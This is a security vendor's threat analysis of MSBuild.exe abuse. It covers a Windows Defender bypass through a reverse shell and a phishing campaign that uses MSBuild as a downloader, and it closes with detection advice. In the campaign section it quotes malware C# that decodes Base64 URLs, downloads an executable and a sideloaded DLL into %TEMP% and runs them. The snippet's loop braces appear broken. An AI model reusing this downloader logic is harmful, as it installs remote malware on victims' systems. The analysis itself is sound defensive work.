LOLBins – Analysis of MSBuild-Based Attack Techniques
Overview
In recent years, cyber threat actors have consistently attempted to exploit living off the land binaries (LOLBins) built into systems to bypass detection by security products. Such attack methods effectively evade traditional signature-based detection by not distributing a separate malicious file, but instead relying on tools trusted by the operating system.
Among them, MSBuild.exe is a Microsoft-signed Windows native development tool that can build and execute C# code through XML-based project files. Threat actors exploit such characteristics to execute arbitrary code without explicitly leaving malware on disk, and covertly perform additional actions in the post-infiltration phase.
In this article, we will introduce how the attack technique utilizing MSBuild works, look at actual attack cases, and suggest countermeasures.
Why do threat actors prefer MSBuild?
MSBuild is a legitimate tool to support development environments, but from a threat actor’s point of view, it is highly suitable for LOLBins attacks for the following reasons.
First, it allows C# code to be injected and executed inline inside a project file. This allows threat actors to perform malicious behavior without the need for a separate compiled malicious executable file, which allows for flexible payload configuration and enables fileless attacks.
Second, it is highly extensible. it has all the core functions needed for attacks, including file loading, network communication, and binary building and execution, so it can be exploited for a variety of purposes.
Third, MSBuild is a legitimate binary with Microsoft’s digital signature. Because MSBuild.exe is recognized as a trusted system component, it is difficult to determine whether it is exploitable based on simple execution, which means it can bypass code signing verification.
Attack techniques to bypass detection using MSBuild
In January 2025, Michał Walkowski’s blog introduced a technique for bypassing Windows 11 Defender detection using MSBuild. We wanted to verify that this technique works in real-world environments and that it is indeed possible to bypass the security solution’s detection.
To exploit MSBuild.exe, which is included by default in Windows, only two things are needed: a project file and a C# source file. to these, it is possible to add obfuscated payloads or shellcode to further sophisticate the attack, depending on the threat actor’s intentions.
The main.csproj prepared by the attacker includes settings to compile and execute main.cs as main.exe, which is configured to load and execute shellcode that connects the threat actor’s PC with a TCP reverse shell.
When MSBuild is run with the project file main.csproj as an argument, the reverse shell is connected to the threat actor’s server.
Notably, the reverse shell connection leveraging MSBuild.exe bypassed all blocking and alert mechanisms, even with Microsoft Defender real-time protection enabled on the victim’s Windows 11 system. This technique allows threat actors to evade endpoint detection controls and successfully execute malicious actions, including reverse shell communications.
Real-world attack case: MSBuild downloader and DLL sideloading
In February 2026, an attack campaign utilizing MSBuild.exe was disclosed on the Lab52 blog. Unlike the direct build-and-run approach we discussed earlier, in this case MSBuild.exe acted as a downloader to fetch a malicious payload from an external C2 server.
The attack is launched through a phishing email. The threat actor delivered a compressed file disguised as a meeting invitation or work-related document as a mail attachment, which contained both an executable file with a legitimate signature and a project file inside. Notably, the executable file renamed MSBuild.exe with a Microsoft signature to look like a document file to minimize user suspicion.
If the user clicks on the executable file without any caution, the attack immediately proceeds to the next stage. Due to MSBuild’s default behavior, the project file (.csproj), which exists in the same path as the executable, is automatically detected and loaded without any command line arguments. This happens naturally and without the user noticing, and as a result, the project file intended by the threat actor is executed by MSBuild.
The project file in question contains an inline C# script. The script is responsible for communicating with the external threat actor’s server to download additional files. The downloaded files are stored in paths that are not frequently accessed by the user, such as temporary folders, and the file names use random strings to make manual analysis more difficult.
// Base64 encoded URLs with new endpoints
string b64_1 =
"aHR0cHM6Ly9vbmVkb3duLmdlc2Vjb2xlLm5ldC9kb3dubG9hZC9hMzY5M2tmYTgzNg==";
string b64_2 =
"aHR0cHM6Ly9vbmVkb3duLmdlc2Vjb2xlLm5ldC9kb3dubG9hZC9hMzY5NmtmYTgzNg==";
string b64_3 =
"aHR0cHM6Ly9vbmVkb3duLmdlc2Vjb2xlLm5ldC9kb3dubG9hZC9hMzY5OWtmYTgzNg==";
string[] urls = {
DecodeBase64(b64_1),
DecodeBase64(b64_2),
DecodeBase64(b64_3)
};
string tmp = Path.GetTempPath();
Random r = new Random();
string[] targets = {
Path.Combine(tmp, GetRandomString(r, 6) + ".exe"),
Path.Combine(tmp, "Avk.dll"),
Path.Combine(tmp, "AVKTray.dat")
};
// Security protocol - TLS 1.2
ServicePointManager.SecurityProtocol = (SecurityProtocolType)0xC00;
for (int i = 0; i < 3; i++)
{ }
FetchResource(urls[i], targets[i]);
}
if (File.Exists(targets[0]))
{
ExecuteFile(targets[0]);
}
Code 1. C# inline script
After the download is complete, MSBuild automatically executes the first of the executables. This executable file is also disguised as a program with a legitimate signature, so it is difficult to determine that it is malicious by itself. However, the threat actor exploits the fact that this legitimate executable file loads a DLL located in the same directory during its execution. The malicious DLL downloaded along with it is loaded into memory at this point, which is how the threat actor finally succeeds in executing the malware.
In the overall attack flow, the combination of MSBuild.exe, a legitimate signed executable file, and the user’s direct execution behavior makes it look like normal behavior to both security solutions and users. As a result, the threat actor gains a relatively free foothold for further payload execution or subsequent penetration.
This case illustrates how legitimate development tools like MSBuild can be used as effective LOLBins tools for threat actors. It highlights the difficulty of identifying attacks by simply asking “is it a legitimate file?” and that detection is extremely difficult without a comprehensive analysis of inter-process relationships, execution context, and file creation and load flows.
Mitigating the attack
Because MSBuild-based attacks are difficult to detect with a single IoC, a multi-layered detection strategy centered on behavior and context is required.
First, process behavior-based monitoring is critical. MSBuild.exe running in non-development environments, such as Outlook, web browsers, and download paths, or MSBuild.exe creating subprocesses such as PowerShell-cmd.exe, should be categorized as suspicious.
You also need to gain visibility into project file execution behavior. It is very rare for .csproj or .xml files to be executed in a normal user environment, and they are highly correlated with attack scenarios, especially if they are executed immediately after decompressing or in the %TEMP% path.
On the network side, MSBuild.exe’s behavior should be analyzed for external communication, downloading multiple files within a short period of time, and generating random number-based file names. In addition, DLL sideloading patterns, where a legitimate signed executable loads a malicious DLL file, are also a key detection point.
Conclusion
MSBuild is a trusted and legitimate binary in the Windows environment, but it can be exploited by threat actors as a powerful LOLBins tool. Features such as inline script execution, automatic project loading, and DLL sideloading greatly increase a threat actor’s stealth.
Therefore, it’s important to move away from the “normal processes are safe” mentality and instead enhance behavior-based detection strategies, including inter-process relationships, execution context, and network behavior. LOLBins attacks, including MSBuild, are likely to continue to evolve in various forms, requiring proactive security and policy controls through continuous threat hunting.
Gain access to related IOCs and detailed analysis by subscribing to AhnLab TIP. For subscription details, click the banner below.
